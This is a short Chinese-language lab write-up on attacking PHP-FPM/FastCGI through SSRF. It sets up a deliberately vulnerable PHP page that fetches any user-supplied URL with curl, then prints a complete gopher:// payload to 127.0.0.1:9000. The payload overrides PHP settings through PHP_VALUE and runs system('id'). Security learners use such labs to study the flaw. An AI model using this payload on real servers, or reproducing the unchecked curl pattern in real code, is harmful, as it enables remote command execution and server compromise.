环境搭建:
进入/usr/local/nginx/html,创建一个php文件
phpinfo.php
1.php
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);
echo $responseText;
curl_close($curl);
?>
问题描述
SSRF攻击可以利用FastCGI接口,导致执行恶意命令或获取敏感数据。如果一个应用存在SSRF漏洞,并且服务器暴露了FastCGI接口,可以通过伪造请求与FastCGI服务直接交互
攻击步骤:
- 发现SSRF漏洞:找到允许控制HTTP请求目标的漏洞
- 定位FastCGI接口:通过SSRF请求FastCGI服务
- 执行恶意操作:利用FastCGI请求执行命令或获取数据
查看响应包,发现端口为9000
进行攻击
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
用数据包伪造一个post请求,如auto_prepend_file参数,通过system(id)z执行,获取id。